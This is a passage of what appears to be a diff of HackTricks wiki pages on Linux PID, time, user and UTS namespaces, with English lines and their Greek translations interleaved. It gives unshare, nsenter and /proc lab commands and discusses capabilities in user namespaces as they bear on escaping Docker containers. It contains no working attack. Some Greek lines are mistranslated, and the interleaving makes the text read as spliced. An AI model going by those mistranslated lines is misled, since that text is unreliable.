2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces.
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace.
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up.
1. Όταν δημιουργείται μια νέα διεργασία (π.χ., χρησιμοποιώντας την κλήση συστήματος `clone()`), η διεργασία μπορεί να ανατεθεί σε ένα νέο ή υπάρχον PID namespace. **Εάν δημιουργηθεί ένα νέο namespace, η διεργασία γίνεται η "init" διεργασία αυτού του namespace**.
2. Ο **πυρήνας** διατηρεί μια **χαρτογράφηση μεταξύ των PIDs στο νέο namespace και των αντίστοιχων PIDs** στο γονικό namespace (δηλαδή, το namespace από το οποίο δημιουργήθηκε το νέο namespace). Αυτή η χαρτογράφηση **επιτρέπει στον πυρήνα να μεταφράσει τους PIDs όταν είναι απαραίτητο**, όπως όταν στέλνει σήματα μεταξύ διεργασιών σε διαφορετικά namespaces.
3. **Οι διεργασίες εντός ενός PID namespace μπορούν να βλέπουν και να αλληλεπιδρούν μόνο με άλλες διεργασίες στο ίδιο namespace**. Δεν είναι ενήμερες για διεργασίες σε άλλους namespaces και οι PIDs τους είναι μοναδικοί εντός του namespace τους.
4. Όταν ένα **PID namespace καταστρέφεται** (π.χ., όταν η "init" διεργασία του namespace τερματίζεται), **όλες οι διεργασίες εντός αυτού του namespace τερματίζονται**. Αυτό διασφαλίζει ότι όλοι οι πόροι που σχετίζονται με το namespace καθαρίζονται σωστά.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που διαχειρίζεται το Linux τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση παρατίθενται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανεμηθεί ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
</details>
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**.
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace are your process in
### &#x20;Ελέγξτε σε ποιο namespace βρίσκονται οι διαδικασίες σας
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### Find all PID namespaces
### Βρείτε όλα τα PID namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
Σημειώστε ότι ο χρήστης root από το αρχικό (προεπιλεγμένο) PID namespace μπορεί να δει όλες τις διεργασίες, ακόμη και αυτές σε νέους PID namespaces, γι' αυτό μπορούμε να δούμε όλους τους PID namespaces.
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces.
### Enter inside a PID namespace
### Είσοδος σε ένα PID namespace
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
Όταν εισέλθετε σε ένα PID namespace από το προεπιλεγμένο namespace, θα μπορείτε ακόμα να βλέπετε όλες τις διεργασίες. Και η διεργασία από αυτό το PID ns θα μπορεί να δει το νέο bash στο PID ns.
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns.
Επίσης, μπορείτε μόνο **να εισέλθετε σε άλλο PID namespace αν είστε root**. Και **δεν μπορείτε** **να εισέλθετε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/pid`)
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`)
## References
## Αναφορές
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -1,72 +1,62 @@
# Time Namespace
# Χρονικό Όριο
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Βασικές Πληροφορίες
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
Το χρονικό όριο στο Linux επιτρέπει τις μετατοπίσεις ανά namespace στους συστήματος μονοτονικούς και χρόνους εκκίνησης ρολογιών. Χρησιμοποιείται συνήθως σε κοντέινερ Linux για να αλλάξει την ημερομηνία/ώρα εντός ενός κοντέινερ και να ρυθμίσει τα ρολόγια μετά την αποκατάσταση από ένα σημείο ελέγχου ή στιγμιότυπο.
## Lab:
## Εργαστήριο:
### Create different Namespaces
### Δημιουργία Διαφορετικών Χρονικών Ορίων
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να συναντούν το σφάλμα κατανομής μνήμης.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Ελέγξτε σε ποια ονοματολογία βρίσκεται η διαδικασία σας
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### Find all Time namespaces
### Βρείτε όλα τα Time namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Time namespace
### Είσοδος σε ένα Time namespace
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,100 +4,85 @@
## Basic Information
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically.
Ένα user namespace είναι μια δυνατότητα του πυρήνα Linux που **παρέχει απομόνωση των αναγνωριστικών χρηστών και ομάδων**, επιτρέποντας σε κάθε user namespace να έχει το **δικό του σύνολο αναγνωριστικών χρηστών και ομάδων**. Αυτή η απομόνωση επιτρέπει σε διαδικασίες που εκτελούνται σε διαφορετικά user namespaces να **έχουν διαφορετικά προνόμια και ιδιοκτησία**, ακόμη και αν μοιράζονται τα ίδια αναγνωριστικά χρηστών και ομάδων αριθμητικά.
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system.
Τα user namespaces είναι ιδιαίτερα χρήσιμα στην κοντεντοποίηση, όπου κάθε κοντέινερ θα πρέπει να έχει το δικό του ανεξάρτητο σύνολο αναγνωριστικών χρηστών και ομάδων, επιτρέποντας καλύτερη ασφάλεια και απομόνωση μεταξύ των κοντεϊνερ και του συστήματος φιλοξενίας.
### How it works:
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**.
2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace.
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**.
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace.
1. Όταν δημιουργείται ένα νέο user namespace, **ξεκινά με ένα κενό σύνολο αναγνωριστικών χρηστών και ομάδων**. Αυτό σημαίνει ότι οποιαδήποτε διαδικασία εκτελείται στο νέο user namespace θα **έχει αρχικά κανένα προνόμιο εκτός του namespace**.
2. Τα αναγνωριστικά μπορούν να καθοριστούν μεταξύ των αναγνωριστικών χρηστών και ομάδων στο νέο namespace και εκείνων στο γονικό (ή κεντρικό) namespace. Αυτό **επιτρέπει στις διαδικασίες στο νέο namespace να έχουν προνόμια και ιδιοκτησία που αντιστοιχούν σε αναγνωριστικά χρηστών και ομάδων στο γονικό namespace**. Ωστόσο, τα αναγνωριστικά μπορούν να περιοριστούν σε συγκεκριμένα εύρη και υποσύνολα αναγνωριστικών, επιτρέποντας λεπτομερή έλεγχο των προνομίων που χορηγούνται σε διαδικασίες στο νέο namespace.
3. Μέσα σε ένα user namespace, **οι διαδικασίες μπορούν να έχουν πλήρη προνόμια root (UID 0) για λειτουργίες μέσα στο namespace**, ενώ εξακολουθούν να έχουν περιορισμένα προνόμια εκτός του namespace. Αυτό επιτρέπει **στα κοντέινερ να εκτελούνται με ικανότητες παρόμοιες με του root μέσα στο δικό τους namespace χωρίς να έχουν πλήρη προνόμια root στο σύστημα φιλοξενίας**.
4. Οι διαδικασίες μπορούν να μετακινούνται μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()` ή να δημιουργούν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWUSER`. Όταν μια διαδικασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί τα αναγνωριστικά χρηστών και ομάδων που σχετίζονται με αυτό το namespace.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι το νέο mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτό το namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργήσει νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στο αρχικό PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα του namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτό το namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία του νέου PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
Για να χρησιμοποιήσετε το user namespace, ο Docker daemon πρέπει να ξεκινήσει με **`--userns-remap=default`** (Στο ubuntu 14.04, αυτό μπορεί να γίνει τροποποιώντας το `/etc/default/docker` και στη συνέχεια εκτελώντας `sudo service docker restart`)
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
### &#x20;Check which namespace is your process in
### &#x20;Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
It's possible to check the user map from the docker container with:
Είναι δυνατόν να ελέγξετε τον χάρτη χρηστών από το κοντέινερ docker με:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
Or from the host with:
Ή από τον κεντρικό υπολογιστή με:
```bash
cat /proc/<pid>/uid_map
```
### Find all User namespaces
### Βρείτε όλα τα User namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a User namespace
### Είσοδος σε ένα User namespace
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλη namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτήν (όπως το `/proc/self/ns/user`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`).
### Create new User namespace (with mappings)
### Δημιουργία νέου User namespace (με mappings)
```bash
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
```
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### Ανάκτηση Δυνατοτήτων
### Recovering Capabilities
Στην περίπτωση των namespaces χρηστών, **όταν δημιουργείται ένα νέο namespace χρηστών, η διαδικασία που εισέρχεται στο namespace αποκτά ένα πλήρες σύνολο δυνατοτήτων εντός αυτού του namespace**. Αυτές οι δυνατότητες επιτρέπουν στη διαδικασία να εκτελεί προνομιακές λειτουργίες όπως **mounting** **filesystems**, δημιουργία συσκευών ή αλλαγή ιδιοκτησίας αρχείων, αλλά **μόνο εντός του πλαισίου του namespace χρήστη της**.
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**.
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
Για παράδειγμα, όταν έχετε τη δυνατότητα `CAP_SYS_ADMIN` εντός ενός namespace χρηστών, μπορείτε να εκτελείτε λειτουργίες που συνήθως απαιτούν αυτή τη δυνατότητα, όπως το mounting filesystems, αλλά μόνο εντός του πλαισίου του namespace χρήστη σας. Οποιεσδήποτε λειτουργίες εκτελείτε με αυτή τη δυνατότητα δεν θα επηρεάσουν το σύστημα φιλοξενίας ή άλλα namespaces.
> [!WARNING]
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container.
> Επομένως, ακόμη και αν η απόκτηση μιας νέας διαδικασίας μέσα σε ένα νέο namespace Χρήστη **θα σας δώσει όλες τις δυνατότητες πίσω** (CapEff: 000001ffffffffff), στην πραγματικότητα μπορείτε **μόνο να χρησιμοποιήσετε αυτές που σχετίζονται με το namespace** (mount για παράδειγμα) αλλά όχι όλες. Έτσι, αυτό από μόνο του δεν είναι αρκετό για να ξεφύγετε από ένα Docker container.
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,75 +4,65 @@
## Basic Information
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname.
Ένα UTS (UNIX Time-Sharing System) namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει **απομόνωση δύο αναγνωριστικών συστήματος**: το **hostname** και το **NIS** (Network Information Service) domain name. Αυτή η απομόνωση επιτρέπει σε κάθε UTS namespace να έχει το **δικό του ανεξάρτητο hostname και NIS domain name**, το οποίο είναι ιδιαίτερα χρήσιμο σε σενάρια κοντεϊνεροποίησης όπου κάθε κοντέινερ θα πρέπει να εμφανίζεται ως ξεχωριστό σύστημα με το δικό του hostname.
### How it works:
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces.
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace.
1. Όταν δημιουργείται ένα νέο UTS namespace, ξεκινά με μια **αντίγραφο του hostname και του NIS domain name από το γονικό namespace**. Αυτό σημαίνει ότι, κατά τη δημιουργία, το νέο namespace **μοιράζεται τα ίδια αναγνωριστικά με το γονικό του**. Ωστόσο, οποιεσδήποτε επακόλουθες αλλαγές στο hostname ή το NIS domain name εντός του namespace δεν θα επηρεάσουν άλλα namespaces.
2. Οι διεργασίες εντός ενός UTS namespace **μπορούν να αλλάξουν το hostname και το NIS domain name** χρησιμοποιώντας τις κλήσεις συστήματος `sethostname()` και `setdomainname()`, αντίστοιχα. Αυτές οι αλλαγές είναι τοπικές στο namespace και δεν επηρεάζουν άλλα namespaces ή το σύστημα φιλοξενίας.
